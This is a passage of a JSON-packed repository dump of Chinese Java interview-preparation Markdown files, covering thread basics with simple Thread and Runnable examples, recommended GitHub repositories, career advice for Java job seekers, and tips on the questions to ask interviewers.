    "content": "\n## 1. 简述线程，程序、进程的基本概念。以及他们之间关系是什么？\n\n**线程**与进程相似，但线程是一个比进程更小的执行单位。一个进程在其执行的过程中可以产生多个线程。与进程不同的是同类的多个线程共享同一块内存空间和一组系统资源，所以系统在产生一个线程，或是在各个线程之间作切换工作时，负担要比进程小得多，也正因为如此，线程也被称为轻量级进程。  \n\n**程序**是含有指令和数据的文件，被存储在磁盘或其他的数据存储设备中，也就是说程序是静态的代码。\n\n**进程**是程序的一次执行过程，是系统运行程序的基本单位，因此进程是动态的。系统运行一个程序即是一个进程从创建，运行到消亡的过程。简单来说，一个进程就是一个执行中的程序，它在计算机中一个指令接着一个指令地执行着，同时，每个进程还占有某些系统资源如CPU时间，内存空间，文件，文件，输入输出设备的使用权等等。换句话说，当程序在执行时，将会被操作系统载入内存中。\n\n**线程** 是 **进程** 划分成的更小的运行单位。线程和进程最大的不同在于基本上各进程是独立的，而各线程则不一定，因为同一进程中的线程极有可能会相互影响。从另一角度来说，进程属于操作系统的范畴，主要是同一段时间内，可以同时执行一个以上的程序，而线程则是在同一程序内几乎同时执行一个以上的程序段。\n\n**线程上下文的切换比进程上下文切换要快很多**\n\n- 进程切换时，涉及到当前进程的CPU环境的保存和新被调度运行进程的CPU环境的设置。\n- 线程切换仅需要保存和设置少量的寄存器内容，不涉及存储管理方面的操作。\n\n## 2. 线程有哪些基本状态？这些状态是如何定义的?\n\n1. **新建(new)**：新创建了一个线程对象。\n2. **可运行(runnable)**：线程对象创建后，其他线程(比如main线程）调用了该对象的start()方法。该状态的线程位于可运行线程池中，等待被线程调度选中，获 取cpu的使用权。\n3. **运行(running)**：可运行状态(runnable)的线程获得了cpu时间片（timeslice），执行程序代码。\n4. **阻塞(block)**：阻塞状态是指线程因为某种原因放弃了cpu使用权，也即让出了cpu timeslice，暂时停止运行。直到线程进入可运行(runnable)状态，才有 机会再次获得cpu timeslice转到运行(running)状态。阻塞的情况分三种：\n  - **(一). 等待阻塞**：运行(running)的线程执行o.wait()方法，JVM会把该线程放 入等待队列(waiting queue)中。\n  - **(二). 同步阻塞**：运行(running)的线程在获取对象的同步锁时，若该同步  锁 被别的线程占用，则JVM会把该线程放入锁池(lock pool)中。\n  - **(三). 其他阻塞**: 运行(running)的线程执行Thread.sleep(long ms)或t.join()方法，或者发出了I/O请求时，JVM会把该线程置为阻塞状态。当sleep()状态超时join()等待线程终止或者超时、或者I/O处理完毕时，线程重新转入可运行(runnable)状态。\n5. **死亡(dead)**：线程run()、main()方法执行结束，或者因异常退出了run()方法，则该线程结束生命周期。死亡的线程不可再次复生。\n\n![](https://user-gold-cdn.xitu.io/2018/8/9/1651f19d7c4e93a3?w=876&h=492&f=png&s=128092)\n\n备注： 可以用早起坐地铁来比喻这个过程（下面参考自牛客网某位同学的回答）：\n\n1. 还没起床：sleeping \n2. 起床收拾好了，随时可以坐地铁出发：Runnable \n3. 等地铁来：Waiting \n4. 地铁来了，但要排队上地铁：I/O阻塞 \n5. 上了地铁，发现暂时没座位：synchronized阻塞 \n6. 地铁上找到座位：Running \n7. 到达目的地：Dead\n\n\n##  3. 何为多线程？\n\n多线程就是多个线程同时运行或交替运行。单核CPU的话是顺序执行，也就是交替运行。多核CPU的话，因为每个CPU有自己的运算器，所以在多个CPU中可以同时运行。\n\n\n## 4. 为什么多线程是必要的？\n\n1. 使用线程可以把占据长时间的程序中的任务放到后台去处理。\n2. 用户界面可以更加吸引人，这样比如用户点击了一个按钮去触发某些事件的处理，可以弹出一个进度条来显示处理的进度。\n3. 程序的运行速度可能加快。\n\n## 5 使用多线程常见的三种方式\n\n### ①继承Thread类\n\nMyThread.java\n\n```java\npublic class MyThread extends Thread {\n\t@Override\n\tpublic void run() {\n\t\tsuper.run();\n\t\tSystem.out.println(\"MyThread\");\n\t}\n}\n```\nRun.java\n\n```java\npublic class Run {\n\n\tpublic static void main(String[] args) {\n\t\tMyThread mythread = new MyThread();\n\t\tmythread.start();\n\t\tSystem.out.println(\"运行结束\");\n\t}\n\n}\n\n```\n运行结果：\n![结果](https://user-gold-cdn.xitu.io/2018/3/20/16243e80f22a2d54?w=161&h=54&f=jpeg&s=7380)\n从上面的运行结果可以看出：线程是一个子任务，CPU以不确定的方式，或者说是以随机的时间来调用线程中的run方法。\n\n### ②实现Runnable接口\n推荐实现Runnable接口方式开发多线程，因为Java单继承但是可以实现多个接口。\n\nMyRunnable.java\n\n```java\npublic class MyRunnable implements Runnable {\n\t@Override\n\tpublic void run() {\n\t\tSystem.out.println(\"MyRunnable\");\n\t}\n}\n```\n\nRun.java\n\n```java\npublic class Run {\n\n\tpublic static void main(String[] args) {\n\t\tRunnable runnable=new MyRunnable();\n\t\tThread thread=new Thread(runnable);\n\t\tthread.start();\n\t\tSystem.out.println(\"运行结束！\");\n\t}\n\n}\n```\n运行结果：\n![运行结果](https://user-gold-cdn.xitu.io/2018/3/20/16243f4373c6141a?w=137&h=46&f=jpeg&s=7316)\n\n### ③使用线程池\n\n**在《阿里巴巴Java开发手册》“并发处理”这一章节，明确指出线程资源必须通过线程池提供，不允许在应用中自行显示创建线程。**\n\n**为什么呢？**\n\n> **使用线程池的好处是减少在创建和销毁线程上所消耗的时间以及系统资源开销，解决资源不足的问题。如果不使用线程池，有可能会造成系统创建大量同类线程而导致消耗完内存或者“过度切换”的问题。**\n\n**另外《阿里巴巴Java开发手册》中强制线程池不允许使用 Executors 去创建，而是通过 ThreadPoolExecutor 的方式，这样的处理方式让写的同学更加明确线程池的运行规则，规避资源耗尽的风险**\n\n> Executors 返回线程池对象的弊端如下：\n> \n> - **FixedThreadPool 和 SingleThreadExecutor** ： 允许请求的队列长度为 Integer.MAX_VALUE,可能堆积大量的请求，从而导致OOM。\n> - **CachedThreadPool 和 ScheduledThreadPool** ： 允许创建的线程数量为 Integer.MAX_VALUE ，可能会创建大量线程，从而导致OOM。\n\n对于线程池感兴趣的可以查看我的这篇文章：[《Java多线程学习（八）线程池与Executor 框架》](http://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247484042&idx=1&sn=541dbf2cb969a151d79f4a4f837ee1bd&chksm=fd9854ebcaefddfd1876bb96ab218be3ae7b12546695a403075d4ed22e5e17ff30ebdabc8bbf#rd) 点击阅读原文即可查看到该文章的最新版。\n\n\n## 6 线程的优先级\n\n每个线程都具有各自的优先级，**线程的优先级可以在程序中表明该线程的重要性，如果有很多线程处于就绪状态，系统会根据优先级来决定首先使哪个线程进入运行状态**。但这个并不意味着低\n优先级的线程得不到运行，而只是它运行的几率比较小，如垃圾回收机制线程的优先级就比较低。所以很多垃圾得不到及时的回收处理。\n\n**线程优先级具有继承特性。** 比如A线程启动B线程，则B线程的优先级和A是一样的。\n\n**线程优先级具有随机性。** 也就是说线程优先级高的不一定每一次都先执行完。\n\nThread类中包含的成员变量代表了线程的某些优先级。如**Thread.MIN_PRIORITY（常数1）**，**Thread.NORM_PRIORITY（常数5）**,\n**Thread.MAX_PRIORITY（常数10）**。其中每个线程的优先级都在**Thread.MIN_PRIORITY（常数1）** 到**Thread.MAX_PRIORITY（常数10）** 之间，在默认情况下优先级都是**Thread.NORM_PRIORITY（常数5）**。\n\n学过操作系统这门课程的话，我们可以发现多线程优先级或多或少借鉴了操作系统对进程的管理。\n\n\n## 7 Java多线程分类\n\n### 用户线程\n\n运行在前台，执行具体的任务，如程序的主线程、连接网络的子线程等都是用户线程\n\n### 守护线程\n\n运行在后台，为其他前台线程服务.也可以说守护线程是JVM中非守护线程的 **“佣人”**。\n\n\n- **特点：** 一旦所有用户线程都结束运行，守护线程会随JVM一起结束工作\n- **应用：** 数据库连接池中的检测线程，JVM虚拟机启动后的检测线程\n- **最常见的守护线程：** 垃圾回收线程\n\n\n**如何设置守护线程？**\n\n可以通过调用 Thead 类的 `setDaemon(true)` 方法设置当前的线程为守护线程。\n\n注意事项：\n\n\t1.  setDaemon(true)必须在start（）方法前执行，否则会抛出IllegalThreadStateException异常\n\t2. 在守护线程中产生的新线程也是守护线程\n\t3. 不是所有的任务都可以分配给守护线程来执行，比如读写操作或者计算逻辑\n\n\n##  8 sleep()方法和wait()方法简单对比\n\n- 两者最主要的区别在于：**sleep方法没有释放锁，而wait方法释放了锁** 。 \n- 两者都可以暂停线程的执行。\n- Wait通常被用于线程间交互/通信，sleep通常被用于暂停执行。\n- wait()方法被调用后，线程不会自动苏醒，需要别的线程调用同一个对象上的notify()或者notifyAll()方法。sleep()方法执行完成后，线程会自动苏醒。\n\n\n## 9 为什么我们调用start()方法时会执行run()方法，为什么我们不能直接调用run()方法？\n\n这是另一个非常经典的java多线程面试问题，而且在面试中会经常被问到。很简单，但是很多人都会答不上来！\n\nnew一个Thread，线程进入了新建状态;调用start()方法，会启动一个线程并使线程进入了就绪状态，当分配到时间片后就可以开始运行了。 \nstart()会执行线程的相应准备工作，然后自动执行run()方法的内容，这是真正的多线程工作。 而直接执行run()方法，会把run方法当成一个mian线程下的普通方法去执行，并不会在某个线程中执行它，所以这并不是多线程工作。\n\n**总结： 调用start方法方可启动线程并使线程进入就绪状态，而run方法只是thread的一个普通方法调用，还是在主线程里执行。**\n\n\n\n\n"
  },
  {
    "path": "docs/essential-content-for-interview/PreparingForInterview/JavaInterviewLibrary.md",
    "content": "最近浏览 Github ，收藏了一些还算不错的 Java面试/学习相关的仓库，分享给大家，希望对你有帮助。我暂且按照目前的 Star 数量来排序。\n\n本文由 SnailClimb 整理，如需转载请联系作者。\n\n### 1. interviews\n\n- Github地址:                     [https://github.com/kdn251/interviews/blob/master/README-zh-cn.md](https://github.com/kdn251/interviews/blob/master/README-zh-cn.md)\n- star: 31k\n- 介绍: 软件工程技术面试个人指南。\n- 概览：\n  \n  ![interviews](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-24/47663247.jpg)\n\n### 2. JCSprout\n\n- Github地址：[https://github.com/crossoverJie/JCSprout](https://github.com/crossoverJie/JCSprout)\n- star: 17.7k\n- 介绍: Java Core Sprout：处于萌芽阶段的 Java 核心知识库。\n- 概览：\n  \n  ![ JCSprout](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-24/85903384.jpg)\n\n### 3. JavaGuide\n\n- Github地址： [https://github.com/Snailclimb/JavaGuide](https://github.com/Snailclimb/JavaGuide)\n- star: 17.4k\n- 介绍: 【Java学习+面试指南】 一份涵盖大部分Java程序员所需要掌握的核心知识。\n- 概览：\n\n  ![JavaGuide](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-24/1352784.jpg)\n\n### 4. technology-talk\n\n- Github地址： [https://github.com/aalansehaiyang/technology-talk](https://github.com/aalansehaiyang/technology-talk)\n- star: 4.2k\n- 介绍: 汇总java生态圈常用技术框架、开源中间件，系统架构、项目管理、经典架构案例、数据库、常用三方库、线上运维等知识。\n\n### 5. fullstack-tutorial\n\n- Github地址： [https://github.com/frank-lam/fullstack-tutorial](https://github.com/frank-lam/fullstack-tutorial)\n- star: 2.8k\n- 介绍:  Full Stack Developer Tutorial，后台技术栈/全栈开发/架构师之路，秋招/春招/校招/面试。 from zero to hero。\n- 概览：\n\n  ![fullstack-tutorial](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-24/67104534.jpg)\n\n### 6. java-bible\n\n- Github地址：[https://github.com/biezhi/java-bible](https://github.com/biezhi/java-bible)\n- star: 1.9k\n- 介绍:  这里记录了一些技术摘要，部分文章来自网络，本项目的目的力求分享精品技术干货，以Java为主。\n- 概览：\n\n  ![ java-bible](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-24/90223588.jpg)\n\n### 7. EasyJob\n\n- Github地址：[https://github.com/it-interview/EasyJob](https://github.com/it-interview/EasyJob)\n- star: 1.9k\n- 介绍:  互联网求职面试题、知识点和面经整理。\n\n### 8. advanced-java\n\n- Github地址：[https://github.com/doocs/advanced-java](https://github.com/doocs/advanced-java)\n- star: 1k\n- 介绍: 互联网 Java 工程师进阶知识完全扫盲\n\n### 9. 3y\n\n- Github地址：[https://github.com/ZhongFuCheng3y/3y](https://github.com/ZhongFuCheng3y/3y)\n- star: 0.4 k\n- 介绍: Java 知识整合。\n\n除了这九个仓库，再推荐几个不错的学习方向的仓库给大家。\n\n1. Star 数高达 4w+的 CS 笔记-CS-Notes：[https://github.com/CyC2018/CS-Notes](https://github.com/CyC2018/CS-Notes)\n2. 后端（尤其是Java）程序员的 Linux 学习仓库-Linux-Tutorial：[https://github.com/judasn/Linux-Tutorial](https://github.com/judasn/Linux-Tutorial)( Star:4.6k)\n3. 两个算法相关的仓库，刷 Leetcode 的小伙伴必备：①awesome-java-leetcode：[https://github.com/Blankj/awesome-java-leetcode](https://github.com/Blankj/awesome-java-leetcode)；②LintCode：[https://github.com/awangdev/LintCode](https://github.com/awangdev/LintCode)\n"
  },
  {
    "path": "docs/essential-content-for-interview/PreparingForInterview/JavaProgrammerNeedKnow.md",
    "content": "　　身边的朋友或者公众号的粉丝很多人都向我询问过:“我是双非/三本/专科学校的，我有机会进入大厂吗？”、“非计算机专业的学生能学好吗？”、“如何学习Java？”、“Java学习该学那些东西？”、“我该如何准备Java面试？”......这些方面的问题。我会根据自己的一点经验对大部分人关心的这些问题进行答疑解惑。现在又刚好赶上考研结束，这篇文章也算是给考研结束准备往Java后端方向发展的朋友们指名一条学习之路。道理懂了如果没有实际行动，那这篇文章对你或许没有任何意义。\n\n### Question1:我是双非/三本/专科学校的，我有机会进入大厂吗？\n\n　　我自己也是非985非211学校的，结合自己的经历以及一些朋友的经历，我觉得让我回答这个问题再好不过。\n\n　　首先，我觉得学校歧视很正常，真的太正常了，如果要抱怨的话，你只能抱怨自己没有进入名校。但是，千万不要动不动说自己学校差，动不动拿自己学校当做自己进不了大厂的借口，学历只是筛选简历的很多标准中的一个而已，如果你够优秀，简历够丰富，你也一样可以和名校同学一起同台竞争。\n\n　　企业HR肯定是更喜欢高学历的人，毕竟985，211优秀人才比例肯定比普通学校高很多，HR团队肯定会优先在这些学校里选。这就好比相亲，你是愿意在很多优秀的人中选一个优秀的，还是愿意在很多普通的人中选一个优秀的呢？\n　　\n　　双非本科甚至是二本、三本甚至是专科的同学也有很多进入大厂的，不过比率相比于名校的低很多而已。从大厂招聘的结果上看，高学历人才的数量占据大头，那些成功进入BAT、美团，京东，网易等大厂的双非本科甚至是二本、三本甚至是专科的同学往往是因为具备丰富的项目经历或者在某个含金量比较高的竞赛比如ACM中取得了不错的成绩。**一部分学历不突出但能力出众的面试者能够进入大厂并不是说明学历不重要，而是学历的软肋能够通过其他的优势来弥补。** 所以，如果你的学校不够好而你自己又想去大厂的话，建议你可以从这几点来做：**①尽量在面试前最好有一个可以拿的出手的项目；②有实习条件的话，尽早出去实习，实习经历也会是你的简历的一个亮点（有能力在大厂实习最佳！）；③参加一些含金量比较高的比赛，拿不拿得到名次没关系，重在锻炼。**\n\n\n### Question2:非计算机专业的学生能学好Java后台吗？我能进大厂吗？\n\n　　当然可以！现在非科班的程序员很多，很大一部分原因是互联网行业的工资比较高。我们学校外面的培训班里面90%都是非科班，我觉得他们很多人学的都还不错。另外，我的一个朋友本科是机械专业，大一开始自学安卓，技术贼溜，在我看来他比大部分本科是计算机的同学学的还要好。参考Question1的回答，即使你是非科班程序员，如果你想进入大厂的话，你也可以通过自己的其他优势来弥补。\n\n　　我觉得我们不应该因为自己的专业给自己划界限或者贴标签，说实话，很多科班的同学可能并不如你，你以为科班的同学就会认真听讲吗？还不是几乎全靠自己课下自学！不过如果你是非科班的话，你想要学好，那么注定就要舍弃自己本专业的一些学习时间，这是无可厚非的。\n\n　　建议非科班的同学，首先要打好计算机基础知识基础：①计算机网络、②操作系统、③数据机构与算法，我个人觉得这3个对你最重要。这些东西就像是内功，对你以后的长远发展非常有用。当然，如果你想要进大厂的话，这些知识也是一定会被问到的。另外，“一定学好数据机构与算法！一定学好数据机构与算法！一定学好数据机构与算法！”，重要的东西说3遍。\n\n\n\n### Question3: 我没有实习经历的话找工作是不是特别艰难？\n\n　　没有实习经历没关系，只要你有拿得出手的项目或者大赛经历的话，你依然有可能拿到大厂的 offer 。笔主当时找工作的时候就没有实习经历以及大赛获奖经历，单纯就是凭借自己的项目经验撑起了整个面试。\n\n　　如果你既没有实习经历，又没有拿得出手的项目或者大赛经历的话，我觉得在简历关，除非你有其他特别的亮点，不然，你应该就会被刷。\n\n### Question4: 我该如何准备面试呢？面试的注意事项有哪些呢？\n\n下面是我总结的一些准备面试的Tips以及面试必备的注意事项：\n\n1.  **准备一份自己的自我介绍，面试的时候根据面试对象适当进行修改**（突出重点，突出自己的优势在哪里，切忌流水账）；\n2. **注意随身带上自己的成绩单和简历复印件；** （有的公司在面试前都会让你交一份成绩单和简历当做面试中的参考。）\n3. **如果需要笔试就提前刷一些笔试题，大部分在线笔试的类型是选择题+编程题，有的还会有简答题。**（平时空闲时间多的可以刷一下笔试题目（牛客网上有很多），但是不要只刷面试题，不动手code，程序员不是为了考试而存在的。）另外，注意抓重点，因为题目太多了，但是有很多题目几乎次次遇到，像这样的题目一定要搞定。\n4. **提前准备技术面试。** 搞清楚自己面试中可能涉及哪些知识点、那些知识点是重点。面试中哪些问题会被经常问到、自己改如何回答。(强烈不推荐背题，第一：通过背这种方式你能记住多少？能记住多久？第二：背题的方式的学习很难坚持下去！)\n5. **面试之前做好定向复习。** 也就是专门针对你要面试的公司来复习。比如你在面试之前可以在网上找找有没有你要面试的公司的面经。\n6.  **准备好自己的项目介绍。** 如果有项目的话，技术面试第一步，面试官一般都是让你自己介绍一下你的项目。你可以从下面几个方向来考虑：①对项目整体设计的一个感受（面试官可能会让你画系统的架构图；②在这个项目中你负责了什么、做了什么、担任了什么角色；③ 从这个项目中你学会了那些东西，使用到了那些技术，学会了那些新技术的使用；④项目描述中，最好可以体现自己的综合素质，比如你是如何协调项目组成员协同开发的或者在遇到某一个棘手的问题的时候你是如何解决的又或者说你在这个项目用了什么技术实现了什么功能比如:用redis做缓存提高访问速度和并发量、使用消息队列削峰和降流等等。\n7. **面试之后记得复盘。** 面试遭遇失败是很正常的事情，所以善于总结自己的失败原因才是最重要的。如果失败，不要灰心；如果通过，切勿狂喜。\n\n\n**一些还算不错的 Java面试/学习相关的仓库，相信对大家准备面试一定有帮助：**[盘点一下Github上开源的Java面试/学习相关的仓库，看完弄懂薪资至少增加10k](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247484817&idx=1&sn=12f0c254a240c40c2ccab8314653216b&chksm=fd9853f0caefdae6d191e6bf085d44ab9c73f165e3323aa0362d830e420ccbfad93aa5901021&token=766994974&lang=zh_CN#rd)\n\n### Question5: 我该自学还是报培训班呢？\n\n　　我本人更加赞同自学（你要知道去了公司可没人手把手教你了，而且几乎所有的公司都对培训班出生的有偏见。为什么有偏见，你学个东西还要去培训班，说明什么，同等水平下，你的自学能力以及自律能力一定是比不上自学的人的）。但是如果，你连每天在寝室坚持学上8个小时以上都坚持不了，或者总是容易半途而废的话，我还是推荐你去培训班。观望身边同学去培训班的，大多是非计算机专业或者是没有自律能力以及自学能力非常差的人。\n\n　　另外，如果自律能力不行，你也可以通过结伴学习、参加老师的项目等方式来督促自己学习。\n\n　　总结：去不去培训班主要还是看自己，如果自己能坚持自学就自学，坚持不下来就去培训班。\n\n### Question6: 没有项目经历/博客/Github开源项目怎么办？\n\n　　从现在开始做！\n\n　　网上有很多非常不错的项目视频，你就跟着一步一步做，不光要做，还要改进，改善。另外，如果你的老师有相关 Java 后台项目的话，你也可以主动申请参与进来。\n\n　　如果有自己的博客，也算是简历上的一个亮点。建议可以在掘金、Segmentfault、CSDN等技术交流社区写博客，当然，你也可以自己搭建一个博客（采用 Hexo+Githu Pages 搭建非常简单）。写一些什么？学习笔记、实战内容、读书笔记等等都可以。\n\n　　多用 Github，用好 Github，上传自己不错的项目，写好 readme 文档，在其他技术社区做好宣传。相信你也会收获一个不错的开源项目！\n\n\n### Question7: 大厂到底青睐什么样的应届生？\n\n　　从阿里、腾讯等大厂招聘官网对于Java后端方向/后端方向的应届实习生的要求，我们大概可以总结归纳出下面这 4 点能给简历增加很多分数：\n\n- 参加过竞赛（含金量超高的是ACM）；\n- 对数据结构与算法非常熟练；\n- 参与过实际项目（比如学校网站）；\n- 参与过某个知名的开源项目或者自己的某个开源项目很不错；\n\n　　除了我上面说的这三点，在面试Java工程师的时候，下面几点也提升你的个人竞争力：\n\n- 熟悉Python、Shell、Perl等脚本语言；\n- 熟悉 Java 优化，JVM调优；\n- 熟悉 SOA 模式；\n- 熟悉自己所用框架的底层知识比如Spring；\n- 了解分布式一些常见的理论；\n- 具备高并发开发经验；大数据开发经验等等。\n\n"
  },
  {
    "path": "docs/essential-content-for-interview/PreparingForInterview/interviewPrepare.md",
    "content": "不论是校招还是社招都避免不了各种面试、笔试，如何去准备这些东西就显得格外重要。不论是笔试还是面试都是有章可循的，我这个“有章可循”说的意思只是说应对技术面试是可以提前准备。 我其实特别不喜欢那种临近考试就提前背啊记啊各种题的行为，非常反对！我觉得这种方法特别极端，而且在稍有一点经验的面试官面前是根本没有用的。建议大家还是一步一个脚印踏踏实实地走。\n\n<!-- TOC -->\n\n- [1 如何获取大厂面试机会？](#1-如何获取大厂面试机会)\n- [2  面试前的准备](#2--面试前的准备)\n    - [2.1 准备自己的自我介绍](#21-准备自己的自我介绍)\n    - [2.2 关于着装](#22-关于着装)\n    - [2.3 随身带上自己的成绩单和简历](#23-随身带上自己的成绩单和简历)\n    - [2.4 如果需要笔试就提前刷一些笔试题](#24-如果需要笔试就提前刷一些笔试题)\n    - [2.5 花时间一些逻辑题](#25-花时间一些逻辑题)\n    - [2.6 准备好自己的项目介绍](#26-准备好自己的项目介绍)\n    - [2.7 提前准备技术面试](#27-提前准备技术面试)\n    - [2.7 面试之前做好定向复习](#27-面试之前做好定向复习)\n- [3 面试之后复盘](#3-面试之后复盘)\n\n<!-- /TOC -->\n\n## 1 如何获取大厂面试机会？\n\n**在讲如何获取大厂面试机会之前，先来给大家科普/对比一下两个校招非常常见的概念——春招和秋招。**\n\n1. **招聘人数** ：秋招多于春招 ；\n2. **招聘时间** ： 秋招一般7月左右开始，大概一直持续到10月底。<font color=\"red\">但是大厂（如BAT）都会早开始早结束，所以一定要把握好时间。</font>春招最佳时间为3月，次佳时间为4月，进入5月基本就不会再有春招了（金三银四）。  \n3. **应聘难度** ：秋招略大于春招；\n4. **招聘公司：**  秋招数量多，而春招数量较少，一般为秋招的补充。 \n\n**综上，一般来说，秋招的含金量明显是高于春招的。**\n\n**下面我就说一下我自己知道的一些方法，不过应该也涵盖了大部分获取面试机会的方法。**\n\n1. **关注大厂官网，随时投递简历（走流程的网申）；**\n2.  **线下参加宣讲会，直接投递简历；**\n3. **找到师兄师姐/认识的人，帮忙内推（能够让你避开网申简历筛选，笔试筛选，还是挺不错的，不过也还是需要你的简历够棒）；**\n4. **博客发文被看中/Github优秀开源项目作者，大厂内部人员邀请你面试；**\n5. **求职类网站投递简历（不是太推荐，适合海投）；**\n\n\n除了这些方法，我也遇到过这样的经历：有些大公司的一些部门可能暂时没招够人，然后如果你的亲戚或者朋友刚好在这个公司，而你正好又在寻求offer，那么面试机会基本上是有了，而且这种面试的难度好像一般还普遍比其他正规面试低很多。\n\n## 2  面试前的准备\n\n### 2.1 准备自己的自我介绍\n\n从HR面、技术面到高管面/部门主管面，面试官一般会让你先自我介绍一下，所以好好准备自己的自我介绍真的非常重要。网上一般建议的是准备好两份自我介绍：一份对hr说的，主要讲能突出自己的经历，会的编程技术一语带过；另一份对技术面试官说的，主要讲自己会的技术细节，项目经验，经历那些就一语带过。\n\n我这里简单分享一下我自己的自我介绍的一个简单的模板吧：\n\n> 面试官，您好！我叫某某。大学时间我主要利用课外时间学习某某。在校期间参与过一个某某系统的开发，另外，自己学习过程中也写过很多系统比如某某系统。在学习之余，我比较喜欢通过博客整理分享自己所学知识。我现在是某某社区的认证作者，写过某某很不错的文章。另外，我获得过某某奖,我的Github上开源的某个项目已经有多少Star了。\n\n### 2.2 关于着装\n\n穿西装、打领带、小皮鞋？NO！NO！NO！这是互联网公司面试又不是去走红毯，所以你只需要穿的简单大方就好，不需要太正式。\n\n### 2.3 随身带上自己的成绩单和简历\n\n有的公司在面试前都会让你交一份成绩单和简历当做面试中的参考。\n\n### 2.4 如果需要笔试就提前刷一些笔试题\n\n平时空闲时间多的可以刷一下笔试题目（牛客网上有很多）。但是不要只刷面试题，不动手code，程序员不是为了考试而存在的。\n\n### 2.5 花时间一些逻辑题\n\n面试中发现有些公司都有逻辑题测试环节，并且都把逻辑笔试成绩作为很重要的一个参考。\n\n### 2.6 准备好自己的项目介绍\n\n如果有项目的话，技术面试第一步，面试官一般都是让你自己介绍一下你的项目。你可以从下面几个方向来考虑：\n\n1. 对项目整体设计的一个感受（面试官可能会让你画系统的架构图）\n2. 在这个项目中你负责了什么、做了什么、担任了什么角色\n3. 从这个项目中你学会了那些东西，使用到了那些技术，学会了那些新技术的使用\n4. 另外项目描述中，最好可以体现自己的综合素质，比如你是如何协调项目组成员协同开发的或者在遇到某一个棘手的问题的时候你是如何解决的又或者说你在这个项目用了什么技术实现了什么功能比如:用redis做缓存提高访问速度和并发量、使用消息队列削峰和降流等等。\n\n### 2.7 提前准备技术面试\n\n搞清楚自己面试中可能涉及哪些知识点、那些知识点是重点。面试中哪些问题会被经常问到、自己改如何回答。(强烈不推荐背题，第一：通过背这种方式你能记住多少？能记住多久？第二：背题的方式的学习很难坚持下去！)\n\n### 2.7 面试之前做好定向复习\n\n所谓定向复习就是专门针对你要面试的公司来复习。比如你在面试之前可以在网上找找有没有你要面试的公司的面经。\n\n举个栗子：在我面试 ThoughtWorks 的前几天我就在网上找了一些关于 ThoughtWorks 的技术面的一些文章。然后知道了 ThoughtWorks 的技术面会让我们在之前做的作业的基础上增加一个或两个功能，所以我提前一天就把我之前做的程序重新重构了一下。然后在技术面的时候，简单的改了几行代码之后写个测试就完事了。如果没有提前准备，我觉得 20 分钟我很大几率会完不成这项任务。\n\n## 3 面试之后复盘\n\n如果失败，不要灰心；如果通过，切勿狂喜。面试和工作实际上是两回事，可能很多面试未通过的人，工作能力比你强的多，反之亦然。我个人觉得面试也像是一场全新的征程，失败和胜利都是平常之事。所以，劝各位不要因为面试失败而灰心、丧失斗志。也不要因为面试通过而沾沾自喜，等待你的将是更美好的未来，继续加油！\n"
  },
  {
    "path": "docs/essential-content-for-interview/PreparingForInterview/如果面试官问你“你有什么问题问我吗？”时，你该如何回答.md",
    "content": "我还记得当时我去参加面试的时候，几乎每一场面试，特别是HR面和高管面的时候，面试官总是会在结尾问我:“问了你这么多问题了，你有什么问题问我吗？”。这个时候很多人内心就会陷入短暂的纠结中:我该问吗？不问的话面试官会不会对我影响不好？问什么问题？问这个问题会不会让面试官对我的影响不好啊？ \n\n![无奈](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-2/无奈.jpg)\n\n### 这个问题对最终面试结果的影响到底大不大?\n\n就技术面试而言，回答这个问题的时候，只要你不是触碰到你所面试的公司的雷区，那么我觉得这对你能不能拿到最终offer来说影响确实是不大的。我说这些并不代表你就可以直接对面试官说：“我没问题了。”，笔主当时面试的时候确实也说过挺多次“没问题要问了。”，最终也没有导致笔主被pass掉（可能是前面表现比较好，哈哈，自恋一下）。我现在回想起来，觉得自己当时做法其实挺不对的。面试本身就是一个双向选择的过程，你对这个问题的回答也会侧面反映出你对这次面试的上心程度，你的问题是否有价值，也影响了你最终的选择与公司是否选择你。\n\n面试官在技术面试中主要考察的还是你这样个人到底有没有胜任这个工作的能力以及你是否适合公司未来的发展需要，很多公司还需要你认同它的文化，我觉得你只要不是太笨，应该不会栽在这里。除非你和另外一个人在能力上相同，但是只能在你们两个人中选一个，那么这个问题才对你能不能拿到offer至关重要。有准备总比没准备好，给面试官留一个好的影响总归是没错的。\n\n但是，就非技术面试来说，我觉得好好回答这个问题对你最终的结果还是比较重要的。\n\n总的来说不管是技术面试还是非技术面试，如果你想赢得公司的青睐和尊重，我觉得我们都应该重视这个问题。\n\n### 真诚一点,不要问太 Low 的问题\n\n回答这个问题很重要的一点就是你没有必要放低自己的姿态问一些很虚或者故意讨好面试官的问题，也不要把自己从面经上学到的东西照搬下来使用。面试官也不是傻子，特别是那种特别有经验的面试官，你是真心诚意的问问题，还是从别处照搬问题来讨好面试官，人家可能一听就听出来了。总的来说，还是要真诚。除此之外，不要问太Low的问题，会显得你整个人格局比较小或者说你根本没有准备（侧面反映你对这家公司不伤心，既然你不上心，为什么要要你呢）。举例几个比较 Low 的问题，大家看看自己有没有问过其中的问题：\n\n- 贵公司的主要业务是什么？（面试之前自己不知道提前网上查一下吗？）\n- 贵公司的男女比例如何？（考虑脱单？记住你是来工作的！）\n- 贵公司一年搞几次外出旅游？（你是来工作的，这些娱乐活动先别放在心上！）\n- ......\n\n### 有哪些有价值的问题值得问?\n\n针对这个问题。笔主专门找了几个专门做HR工作的小哥哥小姐姐们询问并且查阅了挺多前辈们的回答，然后结合自己的实际经历，我概括了下面几个比较适合问的问题。\n\n#### 面对HR或者其他Level比较低的面试官时\n\n1. **能不能谈谈你作为一个公司老员工对公司的感受?** (这个问题比较容易回答，不会让面试官陷入无话可说的尴尬境地。另外，从面试官的回答中你可以加深对这个公司的了解，让你更加清楚这个公司到底是不是你想的那样或者说你是否能适应这个公司的文化。除此之外，这样的问题在某种程度上还可以拉进你与面试官的距离。)\n2. **能不能问一下，你当时因为什么原因选择加入这家公司的呢或者说这家公司有哪些地方吸引你?有什么地方你觉得还不太好或者可以继续完善吗？** （类似第一个问题，都是问面试官个人对于公司的看法，）\n3. 